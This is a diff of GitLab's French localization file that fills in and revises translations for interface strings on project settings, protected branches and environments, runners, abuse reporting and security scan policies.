@@ -32156,10 +32734,10 @@ msgid "ProjectQualitySummary|See project Code Coverage Statistics"
msgstr "Voir les Statistiques de Couverture du Code du projet"
msgid "ProjectQualitySummary|Set up test runs"
-msgstr ""
+msgstr "Configurer les exécutions de test"
msgid "ProjectQualitySummary|Set up test runs (opens in a new tab)"
-msgstr ""
+msgstr "Configurez les exécutions de test (s'ouvre dans un nouvel onglet)"
msgid "ProjectQualitySummary|Skipped"
msgstr "Ignorés"
@@ -32171,7 +32749,7 @@ msgid "ProjectQualitySummary|Test coverage"
msgstr "Couverture des tests"
msgid "ProjectQualitySummary|Test runs"
-msgstr ""
+msgstr "Exécutions de test"
msgid "ProjectQualitySummary|The percentage of tests that succeed, fail, or are skipped."
msgstr "Le pourcentage des tests qui ont réussi, échoué ou été ignorés."
@@ -32302,6 +32880,9 @@ msgstr "Déclencher un événement lorsque l'état d'un pipeline change."
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr "Déclencher un événement lorsqu'une page de wiki est créée ou mise à jour."
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr "Déclencher un événement lorsqu'un incident est créé."
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr "Déclencher un événement lorsqu'un ticket est créé, mis à jour ou fermé."
@@ -32377,9 +32958,6 @@ msgstr "Combiner des étiquettes git avec les notes de version, les preuves de p
msgid "ProjectSettings|Configure your infrastructure."
msgstr "Configurer votre infrastructure."
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr "Configurer les ressources de votre projet et surveiller leur état de santé."
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr "Contactez un administrateur pour modifier ce paramètre."
@@ -32405,7 +32983,7 @@ msgid "ProjectSettings|Enable merge trains"
msgstr "Activer les trains de fusion"
msgid "ProjectSettings|Enable merged results pipelines"
-msgstr ""
+msgstr "Activer les pipelines de résultats fusionnés"
msgid "ProjectSettings|Enable suggested reviewers"
msgstr "Activer les relecteurs suggérés"
@@ -32551,11 +33129,8 @@ msgstr "Seuls les commits qui contiennent un élément %{code_block_start}Signed
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr "Seuls les commits signés peuvent être poussés sur ce dépôt Git."
-msgid "ProjectSettings|Operations"
-msgstr "Opérations"
-
msgid "ProjectSettings|Override user notification preferences for all project members."
-msgstr ""
+msgstr "Remplacer les préférences de notification utilisateur pour tous les membres du projet."
msgid "ProjectSettings|Package registry"
msgstr "Registre de paquets"
@@ -32597,7 +33172,7 @@ msgid "ProjectSettings|Require"
msgstr "Exiger"
msgid "ProjectSettings|Require an associated issue from Jira"
-msgstr ""
+msgstr "Nécessite une association avec un ticket dans Jira"
msgid "ProjectSettings|Require authentication to view media files"
msgstr "Nécessite une authentification pour afficher les fichiers multimédias"
@@ -32633,7 +33208,7 @@ msgid "ProjectSettings|Show default award emojis"
msgstr "Afficher les émojis de récompense par défaut"
msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
-msgstr ""
+msgstr "Afficher un lien pour créer ou afficher une demande de fusion lors des poussées faites à partir de la ligne de commande"
msgid "ProjectSettings|Skipped pipelines are considered successful"
msgstr "Les pipelines ignorés sont considérés comme réussis"
@@ -32704,11 +33279,11 @@ msgstr "Utilisé pour chaque nouvelle demande de fusion."
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr "Les utilisateurs peuvent copier le dépôt vers un nouveau projet."
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
-msgstr ""
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
+msgstr "Les utilisateurs ne peuvent pousser des commits sur ce dépôt que si le nom de l'auteur du commit est cohérent avec le nom de leur compte GitLab."
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
-msgstr "Les utilisateurs ne peuvent pousser sur ce dépôt que si le nom du contributeur est cohérent avec son nom d'utilisateur dans la configuration git."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgstr "Les utilisateurs ne peuvent pousser des commits sur ce dépôt que si l'adresse courriel du contributeur fait partie de ses propres adresses vérifiées."
msgid "ProjectSettings|Users can request access"
msgstr "Les utilisateurs peuvent demander l'accès"
@@ -32753,7 +33328,7 @@ msgid "ProjectSettings|Wiki"
msgstr "Wiki"
msgid "ProjectSettings|With GitLab Pages you can host your static websites on GitLab. GitLab Pages uses a caching mechanism for efficiency. Your changes may not take effect until that cache is invalidated, which usually takes less than a minute."
-msgstr "Grâce aux Pages GitLab, vous pouvez héberger vos sites web statiques sur GitLab. Les Pages GitLab utilisent un mécanisme de cache pour plus d'efficacité. Vos modifications ne seront effectives que lorsque le cache sera invalidé, ce qui prend en général moins d'une minute."
+msgstr "Grâce à GitLab Pages, vous pouvez héberger vos sites web statiques sur GitLab. GitLab Pages utilise un mécanisme de cache pour plus d'efficacité. Vos modifications ne seront effectives que lorsque le cache sera invalidé, ce qui prend en général moins d'une minute."
msgid "ProjectTemplates|.NET Core"
msgstr ".NET Core"
@@ -32839,6 +33414,9 @@ msgstr "Serverless Framework/JS"
msgid "ProjectTemplates|Spring"
msgstr "Spring"
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr "Distribution TYPO3"
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr "Tencent Serverless Framework/NextjsSSR"
@@ -32864,7 +33442,7 @@ msgid "Projects (%{count})"
msgstr "Projets (%{count})"
msgid "Projects API"
-msgstr ""
+msgstr "API des projets"
msgid "Projects Successfully Retrieved"
msgstr "Projets Récupérés avec Succès"
@@ -32915,7 +33493,7 @@ msgid "Projects with this topic"
msgstr "Projets sur ce sujet"
msgid "Projects with write access"
-msgstr ""
+msgstr "Projets avec un accès en écriture"
msgid "ProjectsDropdown|Frequently visited"
msgstr "Fréquemment consultés"
@@ -32948,7 +33526,7 @@ msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr "Connecter votre dépôt externe à GitLab CI/CD."
msgid "ProjectsNew|Contact an administrator to enable options for importing your project."
-msgstr ""
+msgstr "Contactez un administrateur pour activer les options d'importation de votre projet."
msgid "ProjectsNew|Create"
msgstr "Créer"
@@ -32981,7 +33559,7 @@ msgid "ProjectsNew|Import project"
msgstr "Importer un projet"
msgid "ProjectsNew|Include a Getting Started README"
-msgstr ""
+msgstr "Inclure un README prérempli pour débuter"
msgid "ProjectsNew|Initialize repository with a README"
msgstr "Initialiser le dépôt avec un README"
@@ -33005,7 +33583,7 @@ msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
msgstr "Description du projet %{tag_start}(facultative)%{tag_end}"
msgid "ProjectsNew|Recommended if you're new to GitLab"
-msgstr ""
+msgstr "Recommandé si vous êtes nouveau sur GitLab"
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr "Exécuter la CI/CD pour un dépôt externe"
@@ -33149,7 +33727,7 @@ msgid "Promoted issue to an epic."
msgstr "Le ticket a été promu en épopée."
msgid "Promotes issue to incident"
-msgstr ""
+msgstr "Transforme le ticket en incident"
msgid "Promotion is not supported."
msgstr "La promotion n'est pas prise en charge."
@@ -33317,7 +33895,7 @@ msgid "Protected"
msgstr "Protégé"
msgid "Protected Branch"
-msgstr ""
+msgstr "Branche protégée"
msgid "Protected Branches"
msgstr "Branches protégées"
@@ -33386,7 +33964,7 @@ msgid "ProtectedBranch|By default, protected branches restrict who can modify th
msgstr "Par défaut, les branches protégées restreignent la possibilité de modifier la branche."
msgid "ProtectedBranch|Code owner approval"
-msgstr ""
+msgstr "Approbation du propriétaire du code"
msgid "ProtectedBranch|Create wildcard"
msgstr "Créer un joker"
@@ -33431,7 +34009,7 @@ msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOW
msgstr "Rejeter les poussées de code qui modifient les fichiers répertoriés dans le fichier CODEOWNERS."
msgid "ProtectedBranch|Require approval from code owners:"
-msgstr ""
+msgstr "Exiger l'approbation des propriétaires du code :"
msgid "ProtectedBranch|Search protected tags"
msgstr "Rechercher des étiquettes protégées"
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr "par défaut"
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr "Autorisés à déployer"
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr "Une erreur s'est produite lors de la récupération des informations sur les approbateurs sélectionnés."
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr "Règles d'approbation"
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr "Le nombre d'approbations doit être compris entre 1 et 5"
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr "Définissez quels sont les groupes, niveaux d'accès ou utilisateurs requis pour approuver."
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr "Définir quels sont les groupes, niveaux d'accès ou utilisateurs autorisés à faire des déploiements dans cet environnement"
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} sera accessible en écriture aux développeurs. Êtesâ€vous sûr de vouloir cela ?"
@@ -33475,6 +34071,9 @@ msgstr "Autorisé à déployer"
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr "Autorisés à déployer sur %{project} / %{environment}"
+msgid "ProtectedEnvironment|Approvers"
+msgstr "Approbateurs"
+
msgid "ProtectedEnvironment|Environment"
msgstr "Environnement"
@@ -33511,11 +34110,14 @@ msgstr "Approbations requises"
msgid "ProtectedEnvironment|Select an environment"
msgstr "Sélectionner un environnement"
+msgid "ProtectedEnvironment|Select environment"
+msgstr "Sélectionnez un environnement"
+
msgid "ProtectedEnvironment|Select groups"
msgstr "Sélectionner des groupes"
msgid "ProtectedEnvironment|Select users"
-msgstr ""
+msgstr "Sélectionnez des utilisateurs"
msgid "ProtectedEnvironment|There are currently no protected environments. Protect an environment with this form."
msgstr "Il n’y a actuellement aucun environnement protégé. Protégezâ€en un avec ce formulaire."
@@ -33671,7 +34273,7 @@ msgid "Push project from command line"
msgstr "Pousser le projet en ligne de commande"
msgid "Push the target branch up to GitLab."
-msgstr ""
+msgstr "Poussez la branche cible jusqu'à GitLab."
msgid "Push to create a project"
msgstr "Pousser pour créer un projet"
@@ -33686,7 +34288,7 @@ msgid "PushRules|All commit messages must match this %{wiki_syntax_link_start}re
msgstr "Tous les messages de commit doivent correspondre à cette %{wiki_syntax_link_start}expression rationnelle%{wiki_syntax_link_end}. Si vide, les messages de commit n'ont pas à correspondre à une expression."
msgid "PushRules|All committed filenames cannot match this %{wiki_syntax_link_start}regular expression%{wiki_syntax_link_end}. If empty, any filename is allowed."
-msgstr ""
+msgstr "Les noms de fichiers validés ne peuvent pas correspondre à cette %{wiki_syntax_link_start}expression rationnelle%{wiki_syntax_link_end}. Si vide, tout nom de fichier est autorisé."
msgid "PushRules|Branch name"
msgstr "Nom de la branche"
@@ -33698,7 +34300,7 @@ msgid "PushRules|Commit author's email"
msgstr "Courriel de l'auteur du commit"
msgid "PushRules|Commit messages cannot match this %{wiki_syntax_link_start}regular expression%{wiki_syntax_link_end}. If empty, commit messages are not rejected based on any expression."
-msgstr ""
+msgstr "Les messages de validation ne peuvent pas correspondre à cette %{wiki_syntax_link_start}expression rationnelle%{wiki_syntax_link_end}. Si vide, les messages de validation ne sont pas rejetés à partir d'une expression."
msgid "PushRules|Do not allow users to remove Git tags with %{code_block_start}git push%{code_block_end}"
msgstr "Ne pas autoriser les utilisateurs à supprimer des étiquettes Git avec %{code_block_start}git push%{code_block_end}"
@@ -33809,7 +34411,7 @@ msgid "QualitySummary|Project quality"
msgstr "Qualité du projet"
msgid "Query"
-msgstr ""
+msgstr "Requête"
msgid "Query cannot be processed"
msgstr "La requête ne peut pas être traitée"
@@ -33851,7 +34453,7 @@ msgid "Rate limit"
msgstr "Limite de fréquence"
msgid "Rate limit access to specified paths."
-msgstr ""
+msgstr "Limite de la fréquence d'accès aux chemins spécifiés."
msgid "Rate limits can help reduce request volume (like from crawlers or abusive bots)."
msgstr "Les limitations de fréquence contribuent à réduire le volume de requêtes (p. ex. celles de robots d'exploration ou de bots abusifs)."
@@ -33863,10 +34465,10 @@ msgid "Raw blob requests"
msgstr "Demandes de blobs bruts"
msgid "Re-authentication period expired or never requested. Please try again"
-msgstr ""
+msgstr "La période de réauthentification a expiré ou n'a jamais été sollicitée. Veuillez réessayer"
msgid "Re-authentication required"
-msgstr ""
+msgstr "Réauthentification requise"
msgid "Re-import"
msgstr "Réimporter"
@@ -33899,7 +34501,7 @@ msgid "Reauthenticating with SAML provider."
msgstr "Réauthentification avec le fournisseur SAML."
msgid "Rebase"
-msgstr ""
+msgstr "Rebaser"
msgid "Rebase completed"
msgstr "Rebasage terminé"
@@ -33914,7 +34516,7 @@ msgid "Rebase source branch on the target branch."
msgstr "Rebaser la branche source sur la branche cible."
msgid "Rebase without pipeline"
-msgstr ""
+msgstr "Rebaser sans pipeline"
msgid "Recaptcha verified?"
msgstr "Recaptcha vérifié ?"
@@ -33974,7 +34576,7 @@ msgid "Reduce project visibility"
msgstr "Réduire la visibilité du projet"
msgid "Reduce risk and triage fewer vulnerabilities with security training"
-msgstr ""
+msgstr "Réduisez les risques et triez moins de vulnérabilités grâce à une formation à la sécurité"
msgid "Reference"
msgstr "Référence"
@@ -33997,7 +34599,7 @@ msgid "Refreshing..."
msgstr "Rafraîchissement en cours..."
msgid "Regenerate export"
-msgstr ""
+msgstr "Régénérer l'export"
msgid "Regenerate instance ID"
msgstr "Régénérer l'ID d'instance"
@@ -34006,7 +34608,7 @@ msgid "Regenerate recovery codes"
msgstr "Régénérer les codes de récupération"
msgid "Regenerating the instance ID can break integration depending on the client you are using."
-msgstr ""
+msgstr "La régénération de l'ID d'instance peut casser des intégrations selon le client que vous utilisez."
msgid "Regex pattern"
msgstr "Expression rationnelle"
@@ -34018,7 +34620,7 @@ msgid "Regions"
msgstr "Régions"
msgid "Register"
-msgstr ""
+msgstr "S'inscrire"
msgid "Register / Sign In"
msgstr "Inscription / Connexion"
@@ -34036,7 +34638,7 @@ msgid "Register device"
msgstr "Enregistrer un appareil"
msgid "Register now"
-msgstr ""
+msgstr "Inscrivez-vous maintenant"
msgid "Register the runner with this URL:"
msgstr "Enregistrez l'exécuteur avec cette URL :"
@@ -34114,7 +34716,7 @@ msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum ru
msgstr "État de la réindexation : %{status} (Multiplicateur de tranches : %{multiplier}, Nombre maximum de tranches en cours d'exécution : %{max_slices})"
msgid "Reject"
-msgstr ""
+msgstr "Rejeter"
msgid "Rejected (closed)"
msgstr "Rejetées (fermées)"
@@ -34126,7 +34728,7 @@ msgid "Related feature flags"
msgstr "Indicateurs de fonctionnalité associés"
msgid "Related issues"
-msgstr ""
+msgstr "Tickets associés"
msgid "Related merge requests"
msgstr "Demandes de fusion liées"
@@ -34194,7 +34796,7 @@ msgid "ReleaseAssetLinkType|Runbooks"
msgstr "Dossiers d'exploitation"
msgid "Released"
-msgstr ""
+msgstr "Publiée"
msgid "Released date"
msgstr "Date de sortie"
@@ -34241,6 +34843,9 @@ msgstr "Vous pouvez éditer le contenu plus tard en modifiant la version. %{link
msgid "Reload page"
msgstr "Recharger la page"
+msgid "Reload the page to try again."
+msgstr "Rechargez la page pour réessayer."
+
msgid "Remediations"
msgstr "Remédiations"
@@ -34287,7 +34892,7 @@ msgid "Remove asset link"
msgstr "Supprimer le lien des ressources"
msgid "Remove assignee"
-msgstr ""
+msgstr "Supprimer l'assigné"
msgid "Remove avatar"
msgstr "Supprimer l’avatar"
@@ -34308,7 +34913,7 @@ msgid "Remove deploy key"
msgstr "Supprimer la clé de déploiement"
msgid "Remove description history"
-msgstr ""
+msgstr "Supprimer l'historique de description"
msgid "Remove due date"
msgstr "Supprimer la date d'échéance"
@@ -34341,7 +34946,7 @@ msgid "Remove license"
msgstr "Supprimer la licence"
msgid "Remove limit"
-msgstr ""
+msgstr "Supprimer la limite"
msgid "Remove link"
msgstr "Supprimer le lien"
@@ -34401,7 +35006,7 @@ msgid "Remove user from project"
msgstr "Supprimer l'utilisateur du projet"
msgid "Remove..."
-msgstr ""
+msgstr "Supprimer..."
msgid "Removed"
msgstr ""
@@ -34428,7 +35033,7 @@ msgid "Removed all labels."
msgstr "Tous les labels ont été supprimés."
msgid "Removed an issue from an epic."
-msgstr ""
+msgstr "A supprimé un ticket d'une épopée."
msgid "Removed group can not be restored!"
msgstr "Un groupe supprimé ne peut être restauré !"
@@ -34437,16 +35042,16 @@ msgid "Removed parent epic %{epic_ref}."
msgstr ""
msgid "Removed spent time."
-msgstr ""
+msgstr "Temps passé supprimé."
msgid "Removed the due date."
msgstr "Date d'échéance supprimée."
msgid "Removed time estimate."
-msgstr ""
+msgstr "Estimation du temps supprimée."
msgid "Removed upload with id %{id}"
-msgstr ""
+msgstr "A supprimé le téléversement d'id %{id}"
msgid "RemovedProjects|No projects pending deletion found"
msgstr "Aucun projet en attente de suppression n'a été trouvé"
@@ -34479,7 +35084,7 @@ msgid "Removes an issue from an epic."
msgstr "Supprime un ticket d'une épopée."
msgid "Removes parent epic %{epic_ref}."
-msgstr ""
+msgstr "Supprime l'épopée parente %{epic_ref}."
msgid "Removes spent time."
msgstr "Supprime le temps passé."
@@ -34508,9 +35113,6 @@ msgstr "Générer des diagrammes dans vos documents grâce à PlantUML."
msgid "Renew subscription"
msgstr "Renouveler l'abonnement"
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr "Rouvrir"
@@ -34530,16 +35132,16 @@ msgid "Reopen test case"
msgstr "Rouvrir le cas de test"
msgid "Reopen this %{quick_action_target}"
-msgstr ""
+msgstr "Rouvrir ce(tte) %{quick_action_target}"
msgid "Reopened this %{quick_action_target}."
-msgstr ""
+msgstr "Ce(tte) %{quick_action_target} a été rouvert(e)."
msgid "Reopening..."
msgstr "Réouverture..."
msgid "Reopens this %{quick_action_target}."
-msgstr ""
+msgstr "Rouvre ce(tte) %{quick_action_target}."
msgid "Replace"
msgstr "Remplacer"
@@ -34551,16 +35153,16 @@ msgid "Replace all label(s)"
msgstr "Remplacer toutes les étiquettes"
msgid "Replace audio"
-msgstr ""
+msgstr "Remplacer l'audio"
msgid "Replace file"
msgstr "Remplacer le fichier"
msgid "Replace image"
-msgstr ""
+msgstr "Remplacer l'image"
msgid "Replace video"
-msgstr ""
+msgstr "Remplacer la vidéo"
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr "Remplace la racine de l'URL de clonage."
-msgid "Replication"
-msgstr "Réplication"
-
msgid "Reply"
msgstr "Répondre"
@@ -34578,7 +35177,7 @@ msgid "Reply by email"
msgstr "Répondre par email"
msgid "Reply internally"
-msgstr ""
+msgstr "Répondre en interne"
msgid "Reply to comment"
msgstr "Répondre au commentaire"
@@ -34593,7 +35192,7 @@ msgid "Report Finding not found"
msgstr "Découverte de Rapport introuvable"
msgid "Report abuse to administrator"
-msgstr ""
+msgstr "Signaler un abus à l'administrateur"
msgid "Report couldn't be prepared."
msgstr "Le rapport n'a pas pu être préparé."
@@ -34607,8 +35206,35 @@ msgstr "Version de rapport non fournie, le type rapport de %{report_type} prend
msgid "Report your license usage data to GitLab"
msgstr "Communiquer les données d'utilisation de votre licence à GitLab"
+msgid "ReportAbuse|Something else."
+msgstr "Autre chose."
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr "Ils sont offensants ou abusifs."
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr "Ils minent de la crypto-monnaie."
+
+msgid "ReportAbuse|They're phising."
+msgstr "Ils font de l'hameçonnage."
+
+msgid "ReportAbuse|They're posting malware."
+msgstr "Ils publient des logiciels malveillants."
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr "Ils publient des informations personnelles ou des identifiants."
+
+msgid "ReportAbuse|They're posting spam."
+msgstr "Ils publient des pourriels."
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr "Ils enfreignent un droit d'auteur ou une marque déposée."
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr "Pourquoi signalez-vous cet utilisateur ?"
+
msgid "Reported %{timeAgo} by %{reportedBy}"
-msgstr ""
+msgstr "Signalé %{timeAgo} par %{reportedBy}"
msgid "Reported by"
msgstr "Signalé par"
@@ -34660,7 +35286,7 @@ msgid "Reports|An error occurred while loading report"
msgstr "Une erreur s'est produite lors du chargement du rapport"
msgid "Reports|Base report parsing error:"
-msgstr ""
+msgstr "Erreur d'analyse du rapport de base :"
msgid "Reports|Copy failed test names to run locally"
msgstr "Copier les noms des tests échoués pour les exécuter en local"
@@ -34685,7 +35311,7 @@ msgid "Reports|Full report"
msgstr "Rapport complet"
msgid "Reports|Head report parsing error:"
-msgstr ""
+msgstr "Erreur d'analyse du rapport de tête :"
msgid "Reports|Identifier"
msgstr "Identifiant"
@@ -34953,7 +35579,7 @@ msgid "Request time"
msgstr "Heure de la requête"
msgid "Request to link SAML account must be authorized"
-msgstr ""
+msgstr "La demande de lien vers le compte SAML doit être autorisée"
msgid "Requested"
msgstr "Demandé"
@@ -34962,7 +35588,7 @@ msgid "Requested %{time_ago}"
msgstr "Demandé %{time_ago}"
msgid "Requested design version does not exist."
-msgstr "La version de design demandée n'existe pas."
+msgstr "La version de l'esquisse demandée n'existe pas."
msgid "Requested review"
msgstr ""
@@ -35020,8 +35646,8 @@ msgstr "Les exigences peuvent être basées sur les utilisateurs, les intervenan
msgid "Requires %d approval from eligible users."
msgid_plural "Requires %d approvals from eligible users."
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "Nécessite %d approbation d'utilisateurs éligibles."
+msgstr[1] "Nécessite %d approbations d'utilisateurs éligibles."
msgid "Requires %{count} approval from %{names}."
msgid_plural "Requires %{count} approvals from %{names}."
@@ -35101,13 +35727,13 @@ msgid "Resolve thread"
msgstr "Résoudre le fil de conversation"
msgid "Resolved"
-msgstr ""
+msgstr "Résolue"
msgid "Resolved 1 discussion."
-msgstr ""
+msgstr "A résolu 1 discussion."
msgid "Resolved all discussions."
-msgstr ""
+msgstr "A résolu toutes les discussions."
msgid "Resolved by"
msgstr "Résolu par"
@@ -35182,7 +35808,7 @@ msgid "Restricted shift times are not available for hourly shifts"
msgstr ""
msgid "Results limit reached"
-msgstr ""
+msgstr "Limite de résultats atteinte"
msgid "Resume"
msgstr "Reprendre"
@@ -35200,7 +35826,7 @@ msgid "Retry all failed or cancelled jobs"
msgstr "Réessayer toutes les tâches échouées ou annulées"
msgid "Retry downstream pipeline"
-msgstr ""
+msgstr "Réessayer le pipeline en aval"
msgid "Retry job"
msgstr "Relancer la tâche"
@@ -35247,7 +35873,7 @@ msgid "Review requests for you"
msgstr "Demandes d'examen pour vous"
msgid "Review the changes locally."
-msgstr ""
+msgstr "Examinez les modifications localement."
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr "Revoyez le processus de configuration des fournisseurs de service chez votre fournisseur d’identité — dans le cas présent, GitLab est le « fournisseur de service » ou le « tiers de confiance »."
@@ -35354,7 +35980,7 @@ msgid "Run housekeeping tasks to automatically optimize Git repositories. Disabl
msgstr "Exécuter des tâches de maintenance pour optimiser automatiquement les dépôts Git. Désactiver cette option fera que les performances vont se dégrader au fil du temps."
msgid "Run manual job again"
-msgstr ""
+msgstr "Exécuter de nouveau la tâche manuelle"
msgid "Run manual or delayed jobs"
msgstr "Exécuter des tâches manuelles ou différées"
@@ -35398,7 +36024,7 @@ msgid "Runners|%{link_start}These runners%{link_end} are available to all groups
msgstr "%{link_start}Ces exécuteurs%{link_end} sont disponibles pour tous les groupes et tous les projets."
msgid "Runners|%{percentage} spot."
-msgstr ""
+msgstr "%{percentage} d'instances spot."
msgid "Runners|%{strongStart}%{count}%{strongEnd} runner selected"
msgid_plural "Runners|%{strongStart}%{count}%{strongEnd} runners selected"
@@ -35553,8 +36179,8 @@ msgstr "Entrez le nombre de secondes. Ce délai d'expiration a la priorité sur
msgid "Runners|Executor"
msgstr "Exécuteur"
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
-msgstr "Les exécuteurs existants ne sont pas affectés. Pour permettre l'enregistrement d'un exécuteur pour tous les groupes, activez ce réglage dans l'Espace d'Administration, dans Paramètres &gt Intégration et livraison continues."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
+msgstr "Les exécuteurs existants ne sont pas affectés. Pour permettre l’inscription d’exécuteurs pour tous les groupes, activez ce paramètre dans l'Espace d’administration, Paramètres &gt; Intégration et livraison continues."
msgid "Runners|Filter projects"
msgstr "Filtrer les projets"
@@ -35575,7 +36201,7 @@ msgid "Runners|IP Address"
msgstr "Adresse IP"
msgid "Runners|Idle"
-msgstr ""
+msgstr "Au repos"
msgid "Runners|Install a runner"
msgstr "Installer un exécuteur"
@@ -35617,7 +36243,7 @@ msgid "Runners|Never expires"
msgstr "N'expire jamais"
msgid "Runners|New group runners can be registered"
-msgstr ""
+msgstr "Les nouveaux exécuteurs de groupe peuvent être enregistrés"
msgid "Runners|New registration token generated!"
msgstr "Nouveau jeton d’inscription généré !"
@@ -35718,7 +36344,7 @@ msgid "Runners|Runner %{name} was deleted"
msgstr "L'exécuteur %{name} a été supprimé"
msgid "Runners|Runner Registration"
-msgstr ""
+msgstr "Enregistrement des exécuteurs"
msgid "Runners|Runner assigned to project."
msgstr "Exécuteur assigné au projet."
@@ -35926,11 +36552,11 @@ msgstr "Shell Windows 2019 avec mise à l'échelle manuelle et planification fac
msgid "Runners|Yes, start deleting stale runners"
msgstr "Oui, commencer à supprimer les exécuteurs périmés"
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
-msgstr "Vous pouvez configurer un exécuteur spécifique pour une utilisation par plusieurs projets, mais vous ne pouvez pas en faire un exécuteur partagé."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
+msgstr "Vous pouvez configurer un exécuteur spécifique pour une utilisation par plusieurs projets, mais vous ne pouvez pas en faire un exécuteur de groupe ni un exécuteur partagé."
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
-msgstr ""
+msgstr "Vous avez utilisé %{quotaUsed} de vos %{quotaLimit} minutes de pipeline d'Exécuteurs partagés."
msgid "Runners|active"
msgstr "actif"
@@ -35981,7 +36607,7 @@ msgid "SAML single sign-on for %{group_name}"
msgstr "Authentification unique SAML pour %{group_name}"
msgid "SAML|Sign in to %{groupName}"
-msgstr ""
+msgstr "Se connecter à %{groupName}"
msgid "SAML|Sign in to GitLab to connect your organization's account"
msgstr "Connectez-vous à GitLab pour connecter le compte de votre organisation"
@@ -36068,7 +36694,7 @@ msgid "Sat"
msgstr "Sam"
msgid "Satisfied"
-msgstr ""
+msgstr "Satisfait"
msgid "Saturday"
msgstr "Samedi"
@@ -36107,10 +36733,10 @@ msgid "Save pipeline schedule"
msgstr "Sauvegarder la planification du pipeline"
msgid "Saving"
-msgstr ""
+msgstr "Sauvegarde"
msgid "Saving project."
-msgstr ""
+msgstr "Sauvegarde du projet."
msgid "ScanExecutionPolicy|%{period} %{days} at %{time}"
msgstr "%{period} %{days} à %{time}"
@@ -36125,14 +36751,20 @@ msgid "ScanExecutionPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require a %{scan
msgstr "%{thenLabelStart}Alors%{thenLabelEnd} Nécessite l'exécution d'une analyse %{scan} avec le profil de site %{siteProfile} et le profil de scanner %{scannerProfile}"
msgid "ScanExecutionPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require a %{scan} scan to run with site profile %{siteProfile} and scanner profile %{scannerProfile} with tags %{tags}"
-msgstr ""
+msgstr "%{thenLabelStart}Alors%{thenLabelEnd} Nécessite l'exécution d'une analyse %{scan} avec le profil de site %{siteProfile} et le profil de scanner %{scannerProfile} avec les étiquettes %{tags}"
msgid "ScanExecutionPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require a %{scan} scan to run with tags %{tags}"
-msgstr ""
+msgstr "%{thenLabelStart}Alors%{thenLabelEnd} Nécessite l'exécution d'une analyse %{scan} avec les étiquettes %{tags}"
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr "Un pipeline est exécuté"
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr "Ex. nom-étiquette-1, nom-étiquette-2"
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr "Si le champ est vide, l’exécuteur sera choisi automatiquement"
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr "Profil de scanner"
@@ -36157,14 +36789,11 @@ msgstr "Sélectionner un profil de scanner"
msgid "ScanExecutionPolicy|Select site profile"
msgstr "Sélectionner un profil de site"
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr "Profil de site"
msgid "ScanExecutionPolicy|Tags"
-msgstr ""
+msgstr "Étiquettes"
msgid "ScanExecutionPolicy|agent"
msgstr "agent"
@@ -36175,6 +36804,9 @@ msgstr "branche"
msgid "ScanExecutionPolicy|in namespaces"
msgstr "dans les espaces de noms"
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr "%{count} licences"
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
